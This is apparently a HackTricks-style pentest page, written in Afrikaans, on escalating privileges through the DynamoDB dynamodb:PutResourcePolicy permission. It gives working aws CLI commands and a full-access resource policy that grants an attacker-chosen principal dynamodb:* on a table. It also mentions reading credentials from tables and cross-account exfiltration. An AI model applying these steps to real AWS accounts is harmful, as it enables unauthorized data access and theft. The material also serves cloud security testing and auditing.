3.1 KiB
AWS - DynamoDB Privesc
{{#include ../../../banners/hacktricks-training.md}}
dynamodb
Vir meer inligting oor dynamodb, kyk:
{{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}}
dynamodb:PutResourcePolicy, en opsioneel dynamodb:GetResourcePolicy
Sedert Maart 2024 bied AWS hulpbron-gebaseerde beleide vir DynamoDB aan (AWS News).
As jy dus die dynamodb:PutResourcePolicy vir 'n tabel het, kan jy jouself of enige ander prinsiep volle toegang tot die tabel gee.
Die toekenning van die dynamodb:PutResourcePolicy aan 'n lukrake prinsiep gebeur dikwels per ongeluk, as die admins dink dat die toekenning van dynamodb:Put* slegs die prinsiep sou toelaat om items in die databasis te plaas - of as hulle daardie toestemmingset voor Maart 2024 toegeken het...
Ideaal gesproke het jy ook dynamodb:GetResourcePolicy, sodat jy nie ander potensieel belangrike toestemmings oorskryf nie, maar slegs die bygevoegde toestemmings wat jy nodig het:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
As jy nie die huidige beleid kan verkry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou prinsiep verleen:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
As jy dit wil aanpas, hier is 'n lys van alle moontlike DynamoDB aksies: AWS Documentation. En hier is 'n lys van alle aksies wat toegelaat kan word via 'n hulpbron-gebaseerde beleid EN watter van hierdie kan gebruik word oor rekeninge (denk data uitvloeiing!): AWS Documentation
Nou, met die beleidsdokument policy.json gereed, plaas die hulpbronbeleid:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Nou, jy behoort die toestemmings te hê wat jy nodig gehad het.
Post Exploitation
So ver ek weet is daar geen ander direkte manier om bevoegdhede in AWS te verhoog net deur 'n paar AWS dynamodb toestemmings te hê. Jy kan sensitiewe inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en inligting op die tabelle skryf (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die DynamoDB Post Exploitation bladsy:
{{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}}
TODO: Lees data deur data Streams te misbruik
{{#include ../../../banners/hacktricks-training.md}}